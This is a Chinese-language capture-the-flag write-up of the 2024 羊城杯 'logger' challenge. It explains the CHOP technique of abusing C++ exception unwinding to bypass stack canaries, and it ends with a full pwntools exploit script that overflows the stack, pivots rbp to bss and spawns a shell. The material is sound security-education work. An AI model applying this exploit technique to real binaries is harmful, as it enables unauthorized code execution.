2024羊城杯遇见一道利用到C++异常处理的题目,以下对该题目作出探讨


CHOP

CHOP全称Catch Handler Oriented Programming,通过扰乱unwinder来实现程序流劫持的效果

由于C++终止语义,在引发异常点之后的任意代码都不会被执行,故往往可以利用存在异常控制流的代码处控制该函数返回地址为其他的可执行函数的代码来实现攻击,绕过类似于Canary和Shadow stacks等backward-edge保护机制

易受攻击的代码序列如下:

常见攻击手法堆栈布局如下:


logger

基于此题,经过审计,我们先通过函数 sub_4015AB()存在的 off by null 漏洞修改 src 为 b'/bin/sh\x00'

同时发现函数 sub_40178A() 中 buf 存在栈溢出漏洞,故构造 payload 覆盖 rbp 和 ret 返回地址:

这里详细列出异常处理执行流程及程序中异常处理相关代码:

  1. 触发异常:首先使用 _cxa_allocate_exception 初始化异常,然后通过 __cxa_throw 抛出该异常。
  2. 栈展开与捕获:在异常抛出后,_Unwind_RaiseException 负责实现栈展开和捕获。如果异常被捕获,程序将返回到对应的 catch 块;如果没有捕获,异常信息将输出到 stderr,并导致程序中止。
  3. 恢复执行流程:进入 catch 块后,使用 _Unwind_Resume 来恢复正常的执行流程,将控制权转移,以便程序可以继续从异常发生的位置执行。
  4. 清理工作:执行完 catch 块后,使用 __cxa_begin_catch 初始化与捕获异常相关的上下文,随后调用 __cxa_end_catch 进行清理工作,程序将恢复到原有的执行流程。
  5. 异常捕获的结束__cxa_end_catch 用于处理异常捕获结束后的清理工作,执行完成后,控制权将交还给原有程序,注意此时原有的stack_fail检查将不再执行。
  6. 栈溢出处理:如果在此过程中发生栈溢出,结合异常处理机制,程序可能会绕过canary检查,依然能够正常执行。
1
2
3
4
5
6
7
8
9
10
11
if ( v0 > 0x10 )
{
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
}

程序存在后门,但开启了 Full RELRO 保护,故考虑栈迁移到可读可写可执行的 bss 段,同时将存储在 rax 中的 b'/bin/sh\x00' 赋值给 rdi 寄存器

在位于 /usr/lib/x86_64-linux-gnu/libstdc++.so.6libstdc++ 库中找到 __cxa_throw 的代码,不难发现,__cxa_throw 函数在抛出异常时,会进行一系列操作,其中包括保存当前的 rbp,并在需要时进行修改:

当异常被抛出后,C++ 的异常处理机制会开始展开栈帧,在这个过程中,它会根据栈上的信息恢复寄存器的值,包括但不限于通过 rbp 来遍历调用栈,故我们利用其通过 rbp 回溯调用栈机制,构造 payload 迁移其 rbp 为bss段上可读可写可执行的地址 0x404550

根据异常捕获机制:

  1. 异常抛出 :在C++中,当一个异常发生时,可以使用 throw 语句抛出一个异常对象。
  2. 捕获异常 :如果在当前函数中没有对应的 catch 语句来捕获这个异常,程序会沿着函数的调用链向上查找,直到找到一个能够捕获该异常的 catch 语句。
  3. 调用链 :如果在调用当前函数的上层函数中找到了 catch ,那么异常会被捕获并处理。如果没有找到,异常会继续向上抛出,直到到达 main函数。
  4. 程序中止 :如果在整个调用链中都没有找到匹配的 catch 语句,程序会调用 std::terminate(),导致程序异常终止。

最终需要返回到栈展开时的 __Unwind_Resume 的地址进行清理栈帧并恢复到正确的状态,再往下走去执行 system("/bin/sh\x00");,否则会因异常未正确捕获或处理而调用 std::terminate(),导致程序异常终止

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.update(arch='amd64', os='linux', log_level='debug')

def attach_gdb(p):
gdb_script = '''
b *0x00000000004019CA
b *0x00000000004019F2
b *0x0000000000401A2B
b *0x0000000000401A32
b *0x0000000000401A39
b __cxa_throw
b __cxa_begin_catch
b __cxa_end_catch
continue
'''
gdb.attach(p, gdbscript=gdb_script)


FILENAME = './pwn'
p = process(FILENAME)
attach_gdb(p)


def command(option):
p.recvuntil(b'chocie')
p.sendline(bytes(str(option), 'utf-8'))


def Trace(Content, records=b'y'):
command(1)
p.recvuntil(b'here')
p.send(Content)
p.recvuntil(b'records?')
p.sendline(records)


def Warn(plz):
command(2)
p.recvuntil(b'plz')
p.send(plz)


for i in range(8):
Trace(b'a' * 0x10)
Trace(b'/bin/sh\x00')


bss = 0x404000 + 0x50 + 0x500
unwind_try = 0x0000000000401BC7
payload = b''
payload = payload.ljust(0x70, b'A')
payload += p64(bss) + p64(unwind_try)
Warn(payload)

p.interactive()